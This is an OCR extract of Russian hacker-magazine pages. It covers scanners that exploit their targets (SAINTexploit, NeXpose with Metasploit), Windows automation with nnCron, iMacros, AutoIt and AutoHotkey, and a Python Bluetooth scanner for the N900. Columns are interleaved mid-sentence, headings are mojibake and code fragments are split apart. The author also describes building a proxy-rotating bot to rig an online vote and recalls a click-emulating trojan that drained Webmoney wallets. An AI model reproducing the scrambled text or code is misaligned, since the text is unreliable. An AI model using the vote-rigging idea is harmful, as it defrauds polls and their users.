ссылку с близким сердцу словом EXPLOIT. В диапазон адресов, но в последнем случае Metasploit Console (msfconsole), после
один клик ты получаешь описание сплоита надо быть морально готовым к тому, что чего можно запускать процесс сканиро-
и, более того, — кнопку Run Now для его тестирование будет длительным. Сканер, вания и настраивать его с помощью ряда
запуска. Далее, в зависимости от сплоита, увы, не самый быстрый. На скорость про- команд (nexpose_connect, nexpose_scan,
указываются различные параметры, напри- порционально влияет и количество подклю- nexpose_discover, nexpose_dos и дру-
мер, точная версия ОС на удаленном хосте, ченных модулей: дополнения, проверяющие гие). Прикольно, что можно совмещать
тип шелла и порт, на котором он будет запу- стойкость паролей для SSH/VNC/FTP, одни из функциональность NeXpose и других
щен. Если эксплуатирование цели удачно самых прожорливых. Внешне X-Scan больше модулей Metasploit’а. Самый простой, но
завершено, то во вкладке Connections модуля напоминает самоделку, созданную кем-то действенный пример: искать компьютеры
SAINTexploit появляется IP-адрес жертвы и для собственных нужд и пущенную в паблик с некой уязвимостью и тут же эксплуати-
выбор действий, которые стали доступными на свободное плавание. Возможно, он бы ровать ее с помощью соответствующего
в результате запуска эксплоита: работа с и не получил такой популярности, если не модуля Metasploit — получаем авторутинг
файлами на удаленной системе, командная поддержка скриптов Nessus, которые акти- на новом качественном уровне. z
строка и т.д! Представляешь: сканер, кото- вируются с помощью модуля Nessus-Attack-
рый сам ломает! Недаром слоган продукта: Scripts. С другой стороны, стоит посмотреть
«Examine. Expose. Exploit». Система проверок отчет о сканировании, и все сомнения в
самая разнообразная, причем в последней полезности сканера отходят на второй план. ИНТЕГРИРУЕМ NEXPOSE
7-й версии появился модуль для пентеста Он не будет оформлен по одному из офици- В METASPLOIT
веб-приложений и дополнительные возмож- альных стандартов ИБ, но точно расскажет
ности для анализа баз данных. Обозначив много нового о сети.
цель через веб-интерфейс, можно наблюдать
за действиями сканера со всеми подробно- Rapid 7 NeXpose
стями, точно зная, что и как сканер делает в www.rapid7.com
текущий момент. Freeeware-версия
nix/Win
X-Scan Rapid 7 — одна из самых быстро расту-
www.xfocus.org щих компаний, специализирующихся
Freeware на информационной безопасности,
Win в мире. Именно она недавно приоб-

XÀÊÅÐ 01 /133/ 10 029


PC_ZONE
СТЕПАН «STEP» ИЛЬИН TWITTER.COM/STEPAH

ÑÅÊÐÅÒÛ
ÀÂÒÎÌÀÒÈÇÀÖÈÈ
ÍÅÑÊÎËÜÊÎ ÏÐÈÌÅÐΠÒÎÃÎ, ÊÀÊ ÎÁËÅÃ×ÈÒÜ
ÑÅÁÅ ÆÈÇÍÜ
ÏÎÏÐÎÁÓÉ ÏÎÑ×ÈÒÀÒÜ, ÑÊÎËÜÊÎ ÂÐÅÌÅÍÈ Ó ÒÅÁß ÓÕÎÄÈÒ ÂÏÓÑÒÓÞ ÍÀ ÂÛÏÎËÍÅÍÈÅ ÎÄ-
ÍÈÕ È ÒÅÕ ÆÅ ÄÅÉÑÒÂÈÉ. ÍÅÏÐÎÑÒÀß ÇÀÄÀ×À? ÇÀÒÎ ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÒÜ ×ÀÑÒÜ ÐÓÒÈÍÍÎÉ
ÐÀÁÎÒÛ ÌÎÆÍÎ ÇÀÏÐÎÑÒÎ. È ÁÜÞÑÜ ÎÁ ÇÀÊËÀÄ, ÒÀÊÀß ÐÓÒÈÍÀ ÅÑÒÜ Ó ÊÀÆÄÎÃÎ.

×
тобы не быть голословными, разберем появилась такая возможность в виде опции стим (но обязательно положим на диск PDF
несколько конкретных задач, отыскав TCP Rate Control, позволяющей подстраивать статьи «Пусть он все делает сам!» со всеми
для их решения подходящие утилит ы. скорость TCP-соединений клиента так, чтобы подробностями) и сразу приступим к делу.
К счастью, под виндой с помощью всего его работа не мешала другим приложениям. Главный наш помощник — функция WatchProc,
двух-трех утилит можно автомати- Мало этого, когда-то давно я устанавливал которая отслеживает состояние процесса
зировать абсолютно все и легко эмулировать специальный cFos-драйвер, с помощью кото- в памяти. Как только в памяти появится
действия пользователя. Итак, первая задачка. рого можно было задать низкий приоритет для scrnsave.scr (наш скринсейвер), с помощью
торрента, а высокий — для браузера. Однако START-APP мы запустим приложение:
ÇÀÄÀ×À: ценность нашего примера именно в том, чтобы
Отслеживать активность работы пользователя обработать событие, когда компьютер находит- #( Torrent_start
и в периоды простоя выполнять ресурсоемкие ся в idle-режиме (т.е. ничего не делает), и от AsLoggedUser
задачи. этого уже плясать. LoadProfile
Проще всего отслеживать появление в памяти User: «username» SecPassword:
ÐÅØÅÍÈÅ: процесса скринсейвера и в этот момент запу- «passhash» Domain: «DOMAIN»
Нет ничего лучше, чем загрузить компьютер скать utorrent и, наоборот, когда его процесс LogonInteractive
выполнением какой-то ресурсоемкой опе- выгружается из памяти, закрывать utorrent. В WatchProc: «scrnsave.scr»
рации в тот момент, когда это нас никак не нашем давнишнем материале про автомати- Rule: PROC-EXIST: «uTorrent.exe»
побеспокоит, а именно, когда за компьютером зацию мы уже рассказывали тебе о замеча- NOT
никого нет. Такая возможность, кстати, есть у тельной программе nnCron (www.nncron.ru). Action:
некоторых прогрессивных продуктов: тот же Этот уникальный планировщик задач не только StartIn: «C:\Program Files\
Norton Antivirus имеет функцию Idle Scan и умеет запускать процессы по расписанию, но uTorrent»
очень четко выполняет полное или частичное и способен отслеживать файлы, флаги, окна, ShowNormal NormalPriority
сканирование системы в момент отсутствия процессы, движения мыши, время простоя START-APP: C:\Program Files\
пользователя. Или вот другой полезный компьютера, клавиатурные шорткаты, выход в uTorrent\uTorrent.exe
пример — чтобы торрент-клиент не мешал онлайн/оффлайн, появление диска в драйве, )#
серфингу, предоставлять ему максимальную наличие хоста в сети (пинг), изменение уда-
ширину канала, когда за компьютером никто ленного ресурса по http-протоколу, количество И напротив, когда процесс выгрузится из
не работает. Попробуем реализовать это на свободного места на диске, загруженность памяти, то закрываем и окно utorrent'а:
примере uTorrent (www.utorrent.com). Тут надо оперативной памяти и многое другое. Вводную
сказать, что в самом клиенте не так давно часть по использованию программы мы опу- #( Torrent_stop

030 XÀÊÅÐ 01 /133/ 10


СКРИПТ ДЛЯ УПРАВЛЕНИЯ
UTORRENT

вводом некоторых нужных параметров (ска-


жем, для локального поиска на сайте). К тому
же, далеко не любую страницу можно добавить
в закладки из-за особенностей сайта. В итоге,
ПАРАМЕТРЫ NNCRON мы раз за разом выполняем одни и те же
действия, чтобы добраться до нужной части
сайта или одним и тем же способом восполь-
зоваться онлайн-сервисом. Приведу пример
AsLoggedUser из жизни. Мне достаточно часто приходится
WatchProcStop: «scrnsave.scr» ездить на поездах в двух-трех направлениях,
Action: и, чтобы сэкономить время, я покупаю билеты
WIN-TERMINATE: "*Torrent*" онлайн на сайте rzd.ru (тут хочется прокричать
)# трижды «Ура» по поводу того, что у нас вообще
есть такая возможность). Но чтобы перейти
Надо учитывать, что некоторые программы к покупке билета, необходимо сначала зайти
блокируют запуск скринсейвера (например, на недавно обновленный сайт РЖД, выбрать
медиа-проигрыватели), поэтому для чистоты пункт «Купить билет», после чего попасть на
эксперимента необходимо мониторить и эти старый сайт компании, откуда в свою очередь
процессы. В качестве альтернативы можно нажать на «Вход для зарегистрированных
отслеживать именно простой компьютера: пользователей», ввести на отдельной страни-
в nnCron для этого есть событие IDLE. При це логин и пароль (сессия не сохраняется в
этом процесс uTorrent'а можно не закрывать, целях безопасности). После авторизации опять
а изменять для него параметры максимально подтвердить, что хочешь купить билет, выбрав
полосы пропускания. Для последнего пона- в меню пункт «Покупка билета», проскроллить
добится включить в настройках клиента веб- страницу с регламентом работы онлайн-
интерфейс и, поэкспериментировав с нужными сервиса, подтвердить согласие установкой
параметрами, понять, как составить нужный галочки — и только затем попасть на страницу
HTTP-запрос для управления скоростью для ввода станции отправления и назначе-
загрузки. ния, количества пассажиров и даты поездки.
Причем все, кроме даты, у меня, как правило,
ÇÀÄÀ×À: неизменно, поэтому и эти данные я ввожу на
Автоматизировать любые действия в брау- автомате. Клик-клик-клик — каждый раз одно
зере, которые обычно приходится выполнять и то же. Ждать, пока РЖД наймет специали-
вручную. стов по юзебилити, можно до пенсии, поэтому
все описанные действия я поручил специ- ПАНЕЛЬ IMACROS
ÐÅØÅÍÈÅ: альному плагину для Firefox/IE — iMacros
У каждого есть набор онлайн-сервисов или (www.iopus.com/imacros).
просто информационных ресурсов, кото- Как заставить выполнять его нужные дей- редактирование макросов. Все, что потребо-
рые он посещает. Создание закладок или ствия? Просто показать, что нужно делать. В валось для решения моей задачи, перейти на
объединение их в группы для одновременного браузере после установки появится специ- вкладку «Запись», выбрать пункт «Записать»,
открытия — самый простой способ облегчить альная панель со списком существующих проделать все действия, которые я ранее опи-
себе жизнь. Увы, он не решает проблемы с сценариев, а также тремя вкладками, с сал, нажать на «Стоп» и далее добавить свой
необходимостью ручной авторизации, а также помощью которых осуществляется создание и макрос в систему кнопкой «Сохранение». При

XÀÊÅÐ 01 /133/ 10 031


PC_ZONE

полезных для выполнения часто повторяю-


щихся задач, таких как инсталляция идентич-
ных наборов программ на большое количество
компьютеров. Позже AutoIt серьезно преоб-
разилась, предоставив возможность создавать
полноценные GUI-интерфейсы, а сами скрип-
ты компилировать в исполняемые EXE-файлы,
которые запускаются на любой системе, даже
РЕДАКТОР ДЛЯ РЕДАКТИРОВА- без установленной AutoIt. Для эмуляции рабо-
НИЯ МАКРОСОВ ты пользователя особенно важен перехват
ДОБАВЛЯЕМ НОВОГО ПОЛЬЗО- и эмуляция клавиатурных нажатий и кликов
ВАТЕЛЯ С ПОМОЩЬЮ СКРИПТА мышки. При этом скрипты обладают всей той
этом сам плагин записывает каждое действие AUTOIT мощью, которая нужна для автоматизации.
на своем псевдоязыке: Макросы могут работать с протоколами UDP
и TCP, изменять значения реестра, работать
VERSION BUILD=6251204 RECORDER=FX «SwitchProxy» и без проблем вызывал его из с файлами и буфером обмена, а также запу-
TAB T=1 кода на Python: скать консольные приложения, имея доступ
URL GOTO=http://rzd.ru/ к стандартным потокам ввода/вывода. Есть
TAG POS=1 TYPE=A import win32com.client и функциональность, частично дублирующая
ATTR=TXT:Êóïèòü<SP>áèëåò def Hello(): iMacros, позволяя автоматизировать работу в
TAG POS=1 TYPE=A ATTR=TXT:Âõîä<SP> import win32com.client браузерах (IE, Opera, Firefox). Более того, как
äëÿ<SP>çàðåãèñòðèðîâàííûõ<SP>ïîëüçî w=win32com.client. из обычных языков программирования, можно
âàòåëåé<SP>» Dispatch("imacros") обращаться к COM-объектам, запускать функ-
TAG POS=1 TYPE=INPUT:SUBMIT w.iimInit("", 1) ции из динамических библиотек (в том числе,
FORM=NAME:LoginForm w.iimPlay("SwitchProxy") API Windows), а также работать с базами
if __name__=='__main__': данных MySQL и SQLite. Короче, прога пре-
Это лишь первые несколько строчек полу- Hello() вратилась в настоящий язык программиро-
чившегося скрипта. Теперь я просто выби- вания с упором на автоматизацию различных
раю макрос «Билет Москва-Питер» и сразу Но как ни приятно упростить себе жизнь процессов.
перехожу к выбору даты и оплате :). Какие в Сети, гораздо полезнее может оказаться Простой вопрос: что можно автоматизировать
возможности это предоставляет? Огромные! автоматизация действий просто в системе. через AutoIt? Абсолютно все. Для примера
Меня недавно спросили, как автоматически И для этого нужен уже совершенно другой составим скрипт, который будет запускать
собирать Webmoney-бонусы — небольшие инструмент. оснастку Computer Management и через нее
поощрения в WMR/WMZ, которыми раз- создавать локального пользователя. Конечно,
личные ресурсы стимулируют пользователей ÇÀÄÀ×À: то же самое можно (и даже лучше) провернуть
для регистрации и как можно более частого Эмулировать любую активность пользователя средствами PowerShell, но пример важен с
посещения (как правило, это онлайн-казино). в системе. точки зрения демонстрации возможностей
Для получения бонуса необходимо зареги- AutoIt. Для комфортной работы с макросами
стрироваться и авторизироваться, после чего ÐÅØÅÍÈÅ: в комплект AutoIt входит классный редак-
найти нужный раздел и попросить бонус, В одном из номеров z мы демонстрировали тор кода, в котором реализованы подсветка
кликнув на ссылку — варианты разнятся, но простую схему, как может работать троян, синтаксиса, автодополнение команд и даже
макрос реально сделать для любого из них. способный уводить деньги с электронного отладчик. Весь ряд действий макроса задает-
Если WM-поощрения выдаются каждый день, кошелька Webmoney (хочу напомнить, что ся в виде вполне понятных команд, опираю-
то можно без проблем собирать их ежедневно, использование подобного софта — самый щихся на название окон и элементов интер-
лишь однажды написав нужные сценарии. простой способ угодить в лапы компетентных фейса (скрипт для английской Windows XP),
Тут-то и начинаешь ощущать всю прелесть органов). Фокус заключался в использовании плюс эмуляции клавиатурного ввода юзера:
iMacros: скажем, для сайта на Flash'е уже API-функций, с помощью которых эмулирова-
не получится написать в скрипте «на этой лись последовательность кликов и нажатий $treeitem = "Computer Management
странице перейти по такому-то линку». AutoIt пользователя. В результате, после запуска (Local)|System Tools|Local Users
ничего не знает о структуре интерфейса на кипера автоматически открывалось окно для and Groups"
Flash, но зато умеет распознавать конкретные перевода денег, в поле с номером кошелька $username = "usertocreate"
участки сайта по их изображению с помощью вводился номер злоумышленника, а после
плагина Image Recognition. А, значит, все, что распознавания капчи нажималась кнопка, Run ('cmd /c "compmgmt.msc"', @
ты можешь сделать вручную через Firefox, одобряющая перевод. В общем, точно так же, SystemDir, @SW_HIDE)
можно автоматизировать через макросы с как если бы пользователь сам перевел все WinWaitActive("Computer
помощью этого замечательного плагина. деньги на чужой счет. Использование C++ Management")
Еще большей гибкости можно добиться, вкупе с API-функциями — это, безусловно,
объединив возможности iMacros и какого- мощнейший механизм для подобных дел,
нибудь языка программирования, который однако, для эмуляции работы пользовате- ControlTreeView ("Computer
будет управлять логикой выполнения макроса. ля есть решение гораздо проще и подчас Management", "", 12785, "Expand",
К счастью, программные интерфейсы iMacros даже эффективнее. Я говорю об AutoIt (www. $treeitem)
могут быть вызваны из многих языков про- autoitscript.com/autoit3) — специальном языке, $treeitem = $treeitem & "|Users"
граммирования. Когда передо мной стояла созданном для простой автоматизации задач ControlTreeView ("Computer
задача оперативно написать накрутчик для под виндой. Management", "", 12785, "Select",
непутевого голосования, то я написал для В ранних версиях программа преимуществен- $treeitem)
iMacros сценарий для быстрой смены прокси но использовалась для создания макросов,

032 XÀÊÅÐ 01 /133/ 10


AUTOIT MACRO GENERATOR —
АВТОМАТИЗИРУЕМ СОЗДАНИЕ
МАКРОСА :)

#i::Run,%A_ProgramFiles%\WinSCP\
WinSCP.exe

Символ # в данном случае обозначает кла-


КОНСОЛЬ AUTOHOTKEY вишу <Windows>, а запуск программы
осуществляется с помощью функции Run.
Если на хоткей ты хочешь назначить
Send ("{AppsKey}{Down}{Enter}") все твои клики и набор на клавиатуре в код для несколько действий (а именно это нам и
ControlSend("New User", "", AutoIt. Для упрощения разработки графических нужно), следует использовать более слож-
"Edit1", $username) интерфейсов существует визуальный редактор ный синтаксис:
ControlClick("New User","", 1170) форм Koda FormDesigner (koda.darkhost.ru)
ControlClick("New User","", 2) с интерфейсом аналогичным Delphi IDE. Если hotkey::
ты использовал программу Vistumbler (www. äåéñòâèå1
Sleep(3000) vistumbler.net) — первый стамблер под Vista/ äåéñòâèå2
Send ("{Tab}") W7, сканирующий Wi-Fi эфир и отображающий return
информацию о найденных точках доступа с при-
С помощью функции Run() запускается оснаст- вязкой по GPS — Перед конструкцией можно также обозначить
ка, WinWainActive() дожидается появления то знай: она как раз полностью написана на условия, с которыми будет выполняться хот-
окна, ControlTreeView() используется для AutoIt и преобразовывает консольный вывод кей. Скажем, если ты хочешь, чтобы «горячая
навигации по дереву, а Send() эмулирует ввод стандартной утилиты винды в графический вид! клавиша» работала только в конкретном при-
с клавиатуры. Теперь дополним скрипт про- К числу слабых мест AutoIt можно было бы отне- ложении, то для этого с помощью директивы
веркой, создался пользователь или нет: сти необходимость изучения нового языка, но и #IfWinActive необходимо указать тип и
здесь есть выход: функции AutoIt интегрируются названия окна (оба параметра можно узнать
$result = ControlListView в более мощные языки программирования. с помощью утилиты Active Windows Info). Наш
("Computer Management", "", следующий хоткей работает только в Firefox'е,
"SysListView321", "FindItem", ÇÀÄÀ×À: вызывает меню «Tools» (с помощью встроен-
$username) Назначить на одну «горячую клавишу» ной «горячей клавиши» Firefox <Alt-t>) и
WinClose ("Computer Management") последовательность действий. затем открывает окно «Options».

If $result <> -1 Then ÐÅØÅÍÈÅ: #IfWinActive ahk_class


MsgBox (0, "Test result", Несмотря на свое название, программа MozillaUIWindowClass
"Success") AutoHotkey (www.autohotkey.com) представ- #o::
Else ляет собой намного больше, чем просто Send {Alt}t
MsgBox (0, "Test result", инструмент работы с «горячими клавишами». Sleep 100
"Failed") Эмулируя ввод с клавиатуры, движения мыш- Send o
EndIf кой и опираясь на события Windows, можно с return
помощью произвольной «горячей клавиши» #IfWinActive
После чтения списка локальных пользователей автоматизировать последовательность из
закрываем окно с помощью функции WinClose() десятка различных действий. Настройка хот- В некоторых случаях, чтобы не писать весь код
и выдаем результат проверки на экран. В целях кеев осуществляется с помощью текстового скрипта вручную, выручит специальный macro
упрощения написания скриптов для эмуляции конфига, для работы с которым разработчики recorder — аналогичный AutoScriptWriter для
активности пользователя в комплекте с про- предлагают работать с помощью текстово- AutoIt. С помощью Recorder by Titan (www.
граммой идет тулза AutoIt v3 Window Info, кото- го редактора SciTE4AutoHotkey (скачай с autohotkey.com/forum/topic23671.html) можно
рая отображает множество полезных данных о официального сайта). Идея хорошая: с под- записать операции с окнами, действия с кла-
выбранном окне. Есть и еще более полезные свеченным синтаксисом и автодополнением виатуры, движения мышью, паузы — словом,
инструменты. Чтобы не писать макросы вручную, команд и констант задача упрощается в разы. полностью записать все свои действия на
а просто записать свои действия и получить Общий синтаксис для обозначения «горячей скриптовом языке. Скрипты обычно оформля-
готовый макрос, можно воспользоваться допол- клавиши» — «хоткей::действие». Например, ются в файлы с расширением .ahk, но, благо-
нительными утилитами: AutoItMacroGenerator чтобы запускать программу WinSCP с помо- даря встроенной тулзе, их можно преобразо-
или ScriptWriter. Обе выполняют одни и те же щью <Win-I>, необходимо добавить в конфиг вать в самостоятельный exe-файл и запускать
действия и в реальном времени преобразуют строку: на любом компе. z

XÀÊÅÐ 01 /133/ 10 033


PC_ZONE
CODING
СТЕПАН «STEP
АЛЕКСАНДР »ИЛЬИН
ЭККЕРТ STEP@GLC.RU
ALEKSANDR-EHKKERT@RAMBLER.RU

Êîäèíã
äëÿ MAEMO 5
Ïèøåì Bluetooth-ñêàíåð
äëÿ NOKIA N900
ÍÅÒ ÍÈ×ÅÃÎ ÏÐÎÙÅ, ×ÅÌ ÑÊÀ×ÀÒÜ
ÏÐÎÃÐÀÌÌÓ ÈÇ ÐÅÏÎÇÈÒÀÐÈß È
ÓÑÒÀÍÎÂÈÒÜ ÅÅ ÎÄÍÈÌ ÊËÈÊÎÌ. ÍÎ
ÅÄÂÀ ËÈ ÍÀC ÓÑÒÐÎÈËÀ ÁÛ ÏËÀÒÔÎÐÌÀ,
ÊÎÒÎÐÀß ÕÎÒß È ÍÀÇÛÂÀËÀÑÜ ÁÛ
LINUX'ÎÌ, ÍÎ ÏÐÈ ÝÒÎÌ ÎÃÐÀÍÈ×ÈÂÀËÀ
ÍÀÑ ÏÎ ×ÀÑÒÈ ÐÀÇÐÀÁÎÒÊÈ. Ê Ñ×ÀÑÒÜÞ
ÄËß MAEMO, Ó ÍÅÅ È ÏÎ ÝÒÎÉ ×ÀÑÒÈ ÂÑÅ Â
ÏÎÐßÄÊÅ. À ÏÎÒÎÌÓ — ÄÅËÈÌÑß ÎÏÛÒÎÌ.

Å
сли посмотреть на репозитарий приложений месяц назад, серьезных навыков программирования, задача еще больше услож-
когда я делился своими впечатлениями от общения с мини- няется необходимостью изучения мобильной платформы. Но! Для
компьютером от Nokia, и сейчас, то это две большие разницы. Maemo5 доступен полноценный интерпретатор Python и, что не менее
Программ становится все больше: часть портируется с Debian, важно, портированы многочисленные библиотеки. Значит, можно
часть со старых версий Maemo, которые использовались в использовать всю простоту питона и без лишней прелюдии взяться за
предыдущих моделях интернет-планшетов, а часть разрезывается с разработку нашего приложения!
нуля. И хотя хочется верить, что во всем этом разнообразии найдется Интерпретатор Python доступен в виде пакета maemo-python-device-
нужный инструмент, я уже не раз оказывается в ситуации, когда под- env в менеджере приложений. Убедиться, что интерпретатор устано-
ходящей программы в репозитарии не оказывалось. В частности, для вился правильно, можно, открыв X Terminal и набрав команду python.
экспериментов с Bluetooth мне был нужен сканер, который находил бы После этого ты окажется в приветственной консоли интерпретатора:
устройства в эфире и выводил их MAC-адреса — и такого инструмента
я не нашел. Но раз уж имеем дело с гиковским девайсом, то решено: Python 2.5.4 (r254:67916, Oct 9 2009, 00:02:36)
пойдем до конца и напишем приложение сами. Тем более что платформа [GCC 4.2.1] on linux2
Maemo в этом плане крайне дружелюбна. Type "help", "copyright", "credits" or "license" for
more information.
ÓÑÒÀÍÀÂËÈÂÀÅÌ ÑÐÅÄÓ ÐÀÇÐÀÁÎÒÊÈ >>>
Основным языком разработки для Maemo 5, как и для любого другого
Linux, конечно же, является Си. Подробный Maemo 5 SDK, содержа- В принципе можно попробовать запустить какой-нибудь несложный
щий линуксовые утилиты и необходимые привязки, — лишнее тому сценарий на Python'е уже сейчас, используя специально заготов-
подтверждение. Но программирование на Си, безусловно, требует ленный bash-скрипт: run-standalone.sh <название_скрипта.py>. Для

034 XÀÊÅÐ 01 /133/ 10


этого подошел бы стандартный текстовый редактор, но это не сильно инета и устанавливается автоматически, а тебе остается лишь смо-
удобно. Конечно, можно заниматься разработкой скрипта на компью- треть на сообщения в логе.
тере и далее вручную перекидывать его на телефон по SSH/SCP или
еще как-нибудь, но и это не лучший вариант: о человеческой отладке ÏÐÈÑÒÓÏÀÅÌ Ê ÐÀÇÐÀÁÎÒÊÅ
пришлось бы забыть. Впрочем, все эти заботы ни к чему, потому как Теперь вернемся к нашей задаче — нам необходимо просканиро-
для разработки Python-приложений для Maemo есть замечательная вать Bluetooth-эфир. Установив PyMaemo, который включает обертку
IDE — Pluthon. Основанная на всем известном Eclipse’е, она позволяет PyBluez, мы сильно облегчили себе задачу, потому как у нас больше
разрабатывать и отлаживать скрипт на компьютере, а тестировать его нет необходимости заморачиваться по поводу низкоуровнего взаи-
прямо на телефоне. Причем этот вариант подходит для любой платфор- модействия с BT-модулем (вот они прелести Python!). Библиотека все
мы: винды, линукса или мака. Для запуска понадобится лишь скачать сделает сама: главное не забыть ее импортировать, поэтому делаем
два архива с pluthon.garage.maemo.org и распаковать их в одну папку. это в первую очередь:
Помимо этого требуется, чтобы в системе был установлен JRE (java.sun.
com). Все необходимое можно не качать, а взять с нашего диска. import bluetooth

ÏÎÄÃÎÒÎÂÊÀ ÏÐÎÅÊÒÀ Операция по поиску беспроводных устройств в эфире называется


Позаимствованный у PyDev редактор кода предоставляет все прелести Discover и реализована в библиотеке bluetooth как один из методов.
IDE: автодополнение кода, сниппеты, подсказки — все, что и без того Причем в качестве параметров можно указать, определять ли имена
может ускорить разработку. Далее схема действия Pluthon очень про- устройств (их числовой идентификатор, например, step_nokia, N900-
стая: разрабатываемый скрипт по команде на запуск перебрасывается phone и т.д.) или нет. В ответ функция возвратит список, в котором будут
через SSH на телефон и уже на мобильной платформе начинается его имена устройств и их MAC-адреса — естественно в случае, если таковые
исполнение. По этой причине важно, чтобы на N900 был установлен имеются. Присвоим результат сканирования переменной nearby_devices:
OpenSSH-сервер, что легко делается через менеджер пакетов (подроб-
нее читай в статье прошлого номера). Особенно приятно, что телефон nearby_devices =
вовсе необязательно подключать по USB к компьютеру: намного удоб- bluetooth.discover_devices(lookup_names = True)
нее это сделать через беспроводные Bluetooth или Wi-Fi. Попробуем?
Для начала создадим новый проект (меню File Æ Pluthon Project Æ Теперь остается только вывести результат сканирования. Для простоты
Empty Python Project), далее жмем Next и выбираем способ удален- примера представим, что имеем дело с обычном консольным прило-
жением и для вывода будем использовать стандартную функцию для
вывода текстовых данных:

print "found %d devices" % len(nearby_devices)


for addr, name in nearby_devices:
print " %s - %s" % (addr, name)

Теперь соединяем все вместе и через меню Run Æ Run отдаем коман-
ду на запуск, предварительно проверив, что на телефоне включен
Bluetooth. В момент первого запуска Pluthon поинтересуется, каким
образом ему переносить исходник на мобильное устройство: безопасно
монтировать удаленный диск или копировать скрипт по SSH. Второй
вариант не требует настройки, поэтому будем использовать его.
Единственное, что нужно, — это ввести пароль пользователя, который
ты ранее указывал в момент настройки подключения. Если ты так же,
как и я, указал root, то вспомни тот пароль, который указал в момент
установки приложения rootsh.
PLUTHON — СРЕДА РАЗРАБОТКИ ДЛЯ MAEMO
В случае успеха в панели для отладки PluThon отобразится вывод
скрипта: имена всех найденных устройств, а также их MAC-адреса.
ного подключения к телефону. Какой бы способ ты ни выбрал — USB, Можно также запустить сценарий из консоли: передав название
Bluetooth, WLAN ad-hoc — не поленись зайти в настройки. Здесь необ- скрипта в качестве аргумента run-standalone.sh. Правда, прямо ска-
ходимо правильно указать IP-адрес девайса, а также имя пользователя жем, что на мобильное приложение это пока явно не похоже.
для работы в системе. Чтобы не было проблем я обычно отлаживаю
программы под рутом, хотя это и может быть небезопасно. Далее нажа- ÑÎÇÄÀÅÌ ÈÍÒÅÐÔÅÉÑ ×ÅÐÅÇ QT
тием на кнопку Finish мы создаем проект. Чего не хватает нашей программе, так это полноценного графического
Тут надо сказать, что по умолчанию Python установлен в «голом» виде, интерфейса. К счастью, существует несколько вариантов наверстать
в нем практически нет готовых модулей. Поэтому все приходится уста- упущенное. Можно, как и для более ранних версий Maemo, использовать
навливать дополнительно в виде специального пакета PyMaemo, пред- библиотеку GTK. Но раз уж компания Nokia приобрела небезызвестный
ставляющего собой сборку сортированных модулей для платформы набор библиотек Qt и, тем более, портировала его для Maemo5, то было
Maemo. Нас в первую очередь интересуют два модуля: бы глупо отказываться от использования новой технологии. Причем,
• PyMaemo/HildonDesktop, предоставляющий привязки для использо- если ты уже имел опыт разработки с использованием Qt, то ничего ров-
вания интерфейса Maemo; ным счетом не изменится: на N900 все работает точно так же, как и под
• PyBluez — обертка для простого использования встроенного виндой или обычным линуксом. Вплоть до того, что можно взять готовые
Bluetooth. примеры и без труда запустить их на мобильной платформе!
В ином бы случае PyMaemo пришлось устанавливать вручную, но Поскольку приложение мы разрабатываем на Python, то необ-
Pluthon в момент создания нового проекта предлагает проверить ходимо установить для Qt необходимые привязки: PyQt (www.
мобильное устройство на наличие необходимых для комфортной раз- riverbankcomputing.co.uk) или PySide (www.pyside.org). Мы будем
работки библиотек. В случае необходимости, все подкачивается из использовать первый вариант. Для этого, как в Debian или Ubuntu,

XÀÊÅÐ 01 /133/ 10 035


PC_ZONE

ЗАПУСКАЕМ НАШ СКРИПТ В КОНСОЛИ ГОТОВОЕ ПРИЛОЖЕНИЕ: РЕЗУЛЬТАТ


СКАНИРОВАНИЯ BLUETOOTH-ЭФИРА

INFO
ÂÀÆÍÎ, ×ÒÎ ÄËß ÍÀ×ÀËÀ ÐÀÇÐÀÁÎÒÊÈ ÏÐÈËÎÆÅÍÈß ÍÅ
ÍÀÄÎ ÌÎÐÎ×ÈÒÜ ÃÎËÎÂÓ Ñ ÈÇÓ×ÅÍÈÅÌ ÍÎÂÎÉ ÏËÀÒÔÎÐÌÛ.
info
ÈÑÏÎËÜÇÓß ÓÆÅ ÈÌÅÞÙÈÅÑß ÇÍÀÍÈß PYTHON’À È ÁÈÁËÈÎÒÅÊÓ
Хочешь еще больше QT, ÌÛ ÑÕÎÄÓ ÑÌÎÃËÈ ÐÀÇÐÀÁÎÒÀÒÜ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÅ
инфы об N900? На
www.xakep.ru/N900 ÏÐÈËÎÆÅÍÈÅ ÄËß NOKIA N900.
мы ведем специ-
альный раздел, где воспользуемся пакетным менеджером apt-get. Открываем for addr, name in nearby_devices:
делимся секретами консоль, переходим в режим рута (sudo gainroot) и далее self.browser.append(" %s-%s" % (addr, name))
работы с новой плат- набираем команду для инсталляции PyQt (пакет называет-
формой Maemo5. ся python2.5-qt4): Далее создаем экземпляр объект нашего окна и запускаем
цикл с обработчиком событий:
apt-get install python2.5-qt4
app = QtGui.QApplication(sys.argv)
Для того чтобы вникнуть в азы проектирования интерфей- qb = MainWindow()
сов на Qt, рекомендую прочитать очень доходчивый ману- qb.show()
ал, который выложен на диск. А пока попробуем на нашем sys.exit(app.exec_())
примере разобрать общие черты приложения. Первым
делом импортируем нужные библиотеки Qt: Теперь можно оформить наше приложение в виде Debian-
пакета, готового к установке. В этом опять же нас выручит
import sys среда разработки Pluthon. Достаточно запустить специ-
from PyQt4 import QtGui, QtCore альный мастер через меню Export Æ PluThon Æ Export to
import bluetooth Debian Package, после чего, выбрав платформу Maemo,
получить готовый к распространению пакет. Правда, для
Далее создаем класс с нашим основным окном и обозна- запуска программы на другом телефоне, потребуется уста-
чим для него заголовок «N900 Bluetooth-scanner»: новленный интерпретатор Python.

class MainWindow(QMainWindow): ÄÀËÜÍÅÉØÀß ÐÀÇÐÀÁÎÒÊÀ


def __init__(self, *args): Теперь, когда наша программа получила очертания обыч-
apply(QMainWindow.__init__, (self,) + args) ного для N900 приложения и выполняет вполне конкрет-
self.setWindowTitle \ ную цель, можно дополнить интерфейс дополнительными
('N900 Bluetooth scanner') элементами. Я добавил кнопку «Начать сканирование» и
реализовал сканирование эфира по запросу, а, используя
Главный компонент окна QTextEdit, в который мы поме- базу «MAC-адрес — производитель», мог бы добавить
стим вывод информации о найденных устройствах: функцию определения имени производителя. Исходники
мы выложили на наш DVD. Возможности PyBluez, помимо
self.browser = QTextEdit() всего прочего, позволяют легко определить, какие серви-
сы предоставляет беспроводное устройство, а значит, ты
Как и в предыдущем примере, получаем информацию об без труда сможешь реализовать и такую возможность.
устройствах в эфире с помощью метода discover_devices() Важно, что для начала разработки приложения не
